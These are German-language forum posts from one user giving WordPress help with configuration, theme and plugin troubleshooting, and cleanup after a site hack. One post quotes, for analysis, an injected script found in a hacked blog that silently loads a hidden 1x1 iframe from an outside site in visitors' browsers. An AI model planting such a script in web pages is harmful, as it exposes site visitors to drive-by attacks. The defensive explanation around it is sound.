Beiträge von Domino5702

    Mithilfe des FTP-Clients kommst Du auf den Server und ins Verzeichnis, wo die Datei wp-config.php liegt. Diese klickst Du mit der rechten Maustaste an und wählst dann Ansehen. Dann öffnet sich der Editor mit dem Inhalt Deiner wp-config.php .Du machst die Änderungen gemäss Anleitung, speicherst die Datei und gehst zurück zum FTP-Client. Es wird Dir die Möglichkeit angeboten, die Datei auf den Server zurückzuschreiben, was Du mit OK bestätigen sollst. Das war's - bzw. dann geht es weiter gemäss Anleitung.

    Zitat

    Nun ja wenn es ein Plugin war (was es wohl war, den wp zeigt die nicht von sich aus an)

    Mit Verlaub, das ist Quatsch. Die Revisionen werden zwar standardmässig nicht angezeigt, man kann sie aber jederzeit wieder sichtbar machen, oben rechts im Artikel bzw. Seiten bearbeiten unter "Optionen einblenden" - das is so ein graues Kästchen, unterhalb vom Logout im Dashboard rechts. Danach erscheinen sie am gewohnten Ort, unten auf der Seite.

    Zitat

    Das mit dem wp als Tabellenpräfix versteh ich nur nicht, wo schaut man das nach??

    Das ist eine der Angaben, die man in die wp-config.php schreibt beim Aufsetzen des Blogs. Dies nachträglich zu ändern ist allerdings eher eine umständliche Geschichte - und ich habe leider auch kein aktuelles Tut, wovon ich Dir den Link hier reinstellen könnte. Sorry. :(

    Zitat

    Ich hab im Quellcode nach der Wordpress Version geschaut

    OK, soweit bin ich nicht gegangen. ;)

    Im Footer auf der Themeseite ist auch ein Link zu einem Tutorial, haste den mal angeschaut? Und da ist auch von Plugins die Rede, die man auch benötigt zum Theme.

    Kleiner Tipp: Pfadangaben kann man auch von Anfang an relativ machen, damit es solche Probleme nicht gibt. OK, würde voraussetzen, dass man seine Prioritäten im Griff hat: den Link zu WordPress zu entfernen war offensichtlich wichtiger, als die Inhalte. Das ist ein Friedhof bisher, aber sicher keine Website.

    Wichtiger als das Plugin Search And Replace scheint mir ein Wartungsmodus-Plugin. Muss ja nicht jeder Zeuge der "Missetaten" werden. :D

    Zitat

    ... ich kann dir nur raten die wp-login.php zu schützen. die waren nicht auf deinem server, was ja auch dein provider sagt, die waren schlicht und einfach in deinem blog (dashboard) selber und haben da was gemacht.


    Wie kommst Du denn da drauf? Das ist die Art von gefährlichem Halbwissen, die niemandem was nützt.

    Es gibt in der Tat einen gewissen Anteil von Hackerangriffen, die von einem Account aus andere Accounts auf dem selben Server zum Ziel haben. Der Hoster - falls er gut genug ist, das überhaupt festzustellen - sagt davon natürlich erst einmal gar nichts, denn er müsste ja dann eingestehen, dass er in der Pflicht ist.

    Ein Absichern des Admin-Bereichs macht durchaus Sinn, wie das geht, findet man hier oder auch hier.

    Werr ein wenig Englisch kann, dme sei auch dieser ausgezeichnete Artikel empfohlen, der auch seither nichts an Aktualität eingebüsst hat. (hier insbesondere den Abschnitt über "script injections" beachten)

    Recht wenig bekannt ist, dass eines der am meisten genützten FTP-Clients dazu beiträgt, dass die FTP-Zugangsdaten ziemlich einfach auszuspähen sind: FileZilla speichert Passwörter unverschlüsselt. Daher ist es unbedingt ratsam, (a) FTP Zugangsdaten nicht im Client zu speichern, (b) persönliche Daten am Ende jeder Session zu löschen (unter Bearbeiten). So bequem der Server Manager ist, für mich ist er eine Lücke - mein kleines Notizheft, was ich neben dem Rechner liegen habe, kann kein Programm auslesen, mein FileZilla-Client ist trotz guter Absicherung meiner Umgebung, für mich nicht sicher genug.

    Wer sich die Mühe gemacht hat, das obige Skript mal anzuschauen, fragt sich sicher, was denn daran so gefährlich sein soll.

    Code
    <script>
    var url = "http://hotplay24.net";
    if ((navigator.userAgent.toLowerCase().indexOf("msie" ) >= 0) || (navigator.userAgent.toLowerCase().indexOf("firefo x") >= 0)){
    var f = document.createElement('iframe');
    f.setAttribute("width", "1");
    f.setAttribute("height", "1");
    f.setAttribute("src", url);
    f.setAttribute("style", "visibility: hidden; position: absolute; left: 0pt; top: 0pt;");
    document.getElementsByTagName("body")[0].appendChild(f);}
    </script>


    Gefährlich ist die Tatsache, dass das Skript überhaupt da ist. Er hat auch nur die Aufgabe, Sicherheitslücken auszuspähen. Sitzt der Code unentdeckt in der Datei, kann ein anderes Späherprogramm dies feststellen, und wirkliche Schadcodes haben ein "Zuhause" gefunden. Daher müssen nach einem solchen Befall wirklich alle Schadcodes entfernt werden. Ich empfehle meinen Kunden zudem, für einen kurzen Zeitraum alle Dateirechte von befallenen Dateien auf CHMOD 444 zu setzen - nach meinen bisherigen Erfahrungen (über 2 Jahre mit dieser Methode) hat das nie zu Fehlfunktionen in WordPress geführt. Und eine Site, bei der die anzugreifenden Dateien nicht beschreibbar sind, wird für Angreifer uninteressant.

    Ach ja, und falls es jemandem nicht klar sein sollte: selbstverständlich sind alle Passwörter zu ändern, nach einem Befall: auch FTP und Hoster-Zugänge. Und ich richte niemals einen Blog ein, bei dem der Admin "admin" heisst, und wo das Tabellenpräfix "wp_" lautet. :) Und falls mal ein Kunde da meckert, wird er schlicht daran erinnert, dass es in seinem Geldbeutel Weh tut, und meinen Geldbautel anwachsen lässt, wenn er auf solch einfache Mittel verzichten will. Hat bisher immer funktioniert. ;)

    Ich hoffe, ich konnte etwas Licht ins Dunkle bringen - im Übrigen, nichts von dem, was ich jetzt geschrieben habe, steht zum ersten Mal in diesem Forum. Die SuFu ist Dein Freund - wenn der erste Schreck verflogen ist. ;)

    Mit "position:fixed;" und dann entsprechenden Angaben zu top/ und left/right kannst Du ein Div entsprechend aus dem Seitenfluss rausnehmen und irgendwo fest positionieren. Das Div setzt du dann entsprechend ein, je nach dem, wie Dein Design aussieht, in single oder category oder page oder was auch immer Seiten.

    Zwei Dinge stechen ins Auge: das Gemisch aus Englisch und Deutsch (fängt schon beim offensichtlich nicht übersetzten Theme an), und Tippfehler bzw. schlicht sehr saloppe Sprache (ich hab's nicht so mit der Bibel - stört mein religiöses Empfinden, obwohl ich selbst lange Zeit Mühe hatte, dieses zu definieren).

    Die angezeigten Fehler sind alle innerhalb des Contentbereichs, daher ist die erste Anlaufstelle die index.php. Aus der wird schon mal ersichtlich, wie der Content von WordPress aufgebaut wird, welche anderen Templates aufgerufen werden (suche nach Codezeilen mit

    Code
    get_template_part()

    oder If-Else Abfragen nach dem Contenttyp. Hilfreich könnte dabei auch die Template-Hierarchie sein (der Link führt zum Schweizer WordPress Magazin, weil wordpress.org SOPA-Protest-bedingt abgehängt ist).

    EDIT-WICHTIG: Tut mir leid, die Info oben ist falsch: wordpress.org ist nicht abgehängt, man muss nur bis ganz unten auf die Seite scrollen, von dort lässt sie sich aufrufen. Aber Pascals Seite verdient die Werbung trotzdem. ;)

    Kommst Du ins Dashboard? Dann das übliche Vorgehen: Standardtheme einstellen, sämtliche Plugins deaktivieren, dann schauen, ob es jetzt geht. Falls ja, schrittweise wieder aktivieren, bis der Fehler wieder auftritt - anders bekommt man das nicht sauber in den Griff.

    An einen Hack glaube ich eher weniger, da braucht es mehr als ein "möglicherweise" des Supports. Sollte es nach Umstellen aufs Standardtheme und Abschalten der Plugins noch immer nicht gehen, nochmal den Support fragen, ob die Vermutung sich auf Rückmeldungen andere Kunden aufm selben Server basieren oder was allenfalls serverseitig noch falsch sein könnte. Und bis wann Abhilfe geschaffen wird - wenn es ein Serverproblem ist, ist dies Sache des Hosters.